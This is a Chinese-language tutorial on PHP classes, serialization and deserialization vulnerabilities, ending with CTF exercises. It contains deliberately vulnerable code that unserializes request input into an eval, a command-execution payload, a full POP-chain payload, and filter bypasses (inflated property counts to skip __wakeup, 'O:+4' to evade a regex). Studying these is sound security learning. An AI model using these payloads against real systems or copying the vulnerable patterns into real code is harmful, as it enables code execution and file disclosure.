php
类的结构
class ClassName{
// 成员变量声明
// 成员函数声明
}
类的修饰符
public 共有的 外部可用
protected 受保护的 外部不可用
private 私有的 外部不可用
上面就是定义一个类的格式,例如下面class定义类名,其中定义成员变量一定要加声明var
也可以定义函数(方法),在当前类里面调用变量,需要加this,代表当前类,然后下面的需要将类实体化,才能调用里面的函数,另外也可以将没有初始值的sex进行赋值
php
<?php
# phpstorm
class demo{
// 声明 成员变量
var $n="wdasdsad";
var $sex;
// 声明 成员函数
function jm(){
echo $this->n;
//this 代表当前类
}
}
//先进行实体化
$d = new demo();
//在进行调用
$d -> jm();
echo "\n";
//也可以进行赋值
echo $d->sex="jr";
echo "\n";
而关于public 以及protected private三个声明之间其中public代表公共的,protect代表包含 priva代表私有,被public修饰的成员变量可以在类的内部或者外部调用,而其他两个只能在类的内部调用
php
<?php
class demo{
// 声明 成员变量 public 公共的
public $name="juran";
// 受保护的
protected $sex="猛男";
// 私有的
private $age=18;
// 声明 成员函数
function jr(){
// echo $this->name;
// echo $this->sex;
echo $this->age;
}
}
$d = new demo();
//echo $d->name;
// 类的外部不能调用受保护的成员变量
//echo $d->sex;
// 类的外部不能调用私有的的成员变量
//echo $d->age;
$d -> jr();
序列化基础知识
序列化是将对象的状态信息转换为可以存储或传输得到形式的过程
php
<?php
N;
echo serialize(null);
i:123;
echo serialize(123);
d:123.3;
echo serialize(123.3);
b:1;
echo serialize(true);
s:5:"juran";
echo serialize("juran");
$a = array("juran", "jr", "JR");
a:3:{i:0;s:5:"juran";i:1;s:2:"jr";i:2;s:2:"JR";}
a:3 参数个数
i:0 编号
s:5:juran; 值
echo serialize($a);
class demo{
public $name = "juran";
// public $age;
protected $age;
private $sex;
public function jr(){
echo $this->name;
}
}
O:4:"demo":1:{s:4:"name";s:5:"juran";}
O:4:"demo":2:{s:4:"name";s:5:"juran";s:3:"age";N;}
O:4:"demo":2:{s:4:"name";s:5:"juran";s:6:"%00*%00age";N;}
%00类名%00属性名字
O:4:"demo":3:{s:4:"name";s:5:"juran";s:6:"%00*%00age";N;s:9:"%00demo%00sex";N;}
echo urlencode(serialize(new demo()));
序列化之后的表达方式 空字符、整形、浮点型、字符串、数组、对象
反序列化
反序列化是将序列化得到的字符串转化为一个对象的过程;
反序列化生成的对象的成员属性值由被反序列化的字符串决定,与原来类预定义的值 无关;
反序列化使用unserialize()函数将字符串转换为对象,序列化使用serialize()函数将对象转 化为字符串;
反序列化不触发类的成员方法,需要调用方法后才能触发
php
<?php
class demo{
public $name = "juran";
// public $age;
protected $age;
private $sex;
public function jr(){
echo $this->name;
}
}
// O%3A4%3A%22demo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22juran%22%3Bs%3A6%3A%22%00%2A%00age%22%3BN%3Bs%3A9%3A%22%00demo%00sex%22%3BN%3B%7D
echo urlencode(serialize(new demo()));
// O:4:"demo":3:{s:4:"name";s:2:"jr";s:6:"%00*%00age";N;s:9:"%00demo%00sex";N;}
echo "\n";
// 反序列化生成的对象的 成员属性值 由被 反序列化的字符串 决定,与 原来类预定义的值无关;
$d = unserialize(urldecode("O%3A4%3A%22demo%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A2%3A%22jr%22%3Bs%3A6%3A%22%00%2A%00age%22%3BN%3Bs%3A9%3A%22%00demo%00sex%22%3BN%3B%7D"));
其反序列化以后结果如下

反序列化漏洞利用
反序列化漏洞的原因:反序列化过程中,unserialize()接收的值可控,从get传参数过来进行反序列化,调用diaplayer会导致一些任意命令执行。
php
<?php
class demo{
public $a = 'this is string';
public function displayVar() {
eval($this->a);
}
}
//echo serialize(new demo());
// O:4:"demo":1:{s:1:"a";s:19:"system("ipconfig");";}
$get = $_GET["s"];
echo $get;
// eval->displayVar->s->接收一个序列化的值->$a->可以执行的命令
$b = unserialize($get);
$b->displayVar();
魔法方法
魔术方法是一个预定好的、在特定情况下自动触发的行为方法;
魔术方法的作用:魔术方法在特定条件下自动调用相关方法 最终导致触发代码
construct() //类的构造函数,创建对象时触发
destruct() / /类的析构函数,对象被销毁时触发 反序列化时会被触发
cal1() //调用对象不可访问、不存在的方法时触发
callstatic() //在静态上下文中调用不可访问的方法时触发
get() //调用不可访问、不存在的对象成员属性时触发
set() //在给不可访问、不存在的对象成员属性赋值时触发
isset() //当对不可访问属性调用isset()或empty()时触发
unset() //在不可访问的属性上使用unset()时触发
invoke() //把对象当初函数调用时触发
sleep() //执行serialize()时,先会调用这个方法
wakeup() //执行unserialize()时,先会调用这个方法
tostring() //把对象当成字符串调用时触发
clone() //使用clone关键字拷贝完一个对象后触发
下面对象创建时候,construct()下面的方法会被触发,后面在进行反序列时候会触发destruct()
php
class demo{
public function __construct(){
echo "已创建";
echo "\n";
}
public function __destruct(){
echo "已销毁";
echo "\n";
}
public function jr(){
echo "juran";
}
}
$d = new demo();
//$d->jr();
// O:4:"demo":0:{}
echo serialize($d);
// unserialize -> __destruct
var_dump(unserialize('O:4:"demo":0:{}'));
以及下面sleep() wakeup() 两对,序列化时触发sleep,反序列时触发wakeup,但是有一点,sleep触发后,没有任何值,需要return 一个数组才能出现对象
php
<?php
class demo{
public $name="juran";
public function __sleep(){
echo "使用了serialize";
// 数组
return array($this->name);
}
public function __wakeup(){
echo "使用了unserialize";
echo "\n";
}
}
$d = new demo();
$b = serialize($d);
echo $b;
unserialize($b);
tostring() //把对象当成字符串调用时触发,把class定义的对象demo当做字符串ehco输出,就会调用
clone() //使用clone关键字拷贝完一个对象后触发,把类当做函数就会触发


POP链构造思路
魔术方法触发的前提是:魔术方法所在的类或者对象被调用,其中将demo1实体对象d1赋值给demo2实体对象d2下面的$d,这样构成了POP链,序列化以后可见下面
php
<?php
class demo1
{
public $a = "juran";
public $b = true;
public $c = 666;
}
class demo2
{
public $h = "hhh";
public $d;
}
// 成员属性赋值对象
$d1 = new demo1();
$d2 = new demo2();
echo serialize($d2);
echo "\n";
//O:5:"demo2":2:{s:1:"h";s:3:"hhh";s:1:"d";N;}
$d2->d = $d1;
// O:5:"demo2":2:{s:1:"h";s:3:"hhh";s:1:"d";O:5:"demo1":3:{s:1:"a";s:5:"juran";s:1:"b";b:1;s:1:"c";i:666;}}
echo serialize($d2);
我们来看一到ctf题目
php
<?php
class Modifier {
private $var;
// $var=flag.php
public function append($value)
{
echo $value;
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
// Show
public $source;
// Test
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}
class Test{
// Modifier
public $p;
public function __construct(){
$this->p = array();
}
// 不存在的属性
public function __get($key){
$function = $this->p;
return $function();
}
}
// pop序列化的值
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
//unserialize('O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" Modifier var";s:8:"flag.php";}}}');
// unserialize->Show->__wakeup->echo->$this->source=Show->__toString
// $this->str=Test -> 不存在source ->__get ->$function()->$p=Modifier
// __invoke->$this->append->include($value)
最后payload如下
/ O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}
最后讲一下绕过方法,题目如下,其实只要将admin和passwd分别赋值成admin和wllm就可以了,并且绕过一下--wakeup

将其序列化一下,注意他的属性值个数大于实际的格式就会绕过wakeup

最后一个,通常我们序列化一个对象之后前面的值一定是o:4,但是这样会受到下面正则匹配限制,其实只需要o:+4,在中间加一个加号就能绕过,下面匹配的是以o或c开头后面接一个数字

php
<?php
class Demo
{
private $file = 'index.php';
public function __construct($file)
{
$this->file = $file;
}
function __destruct()
{
echo @highlight_file($this->file, true);
}
function __wakeup()
{
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
// O:+4
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}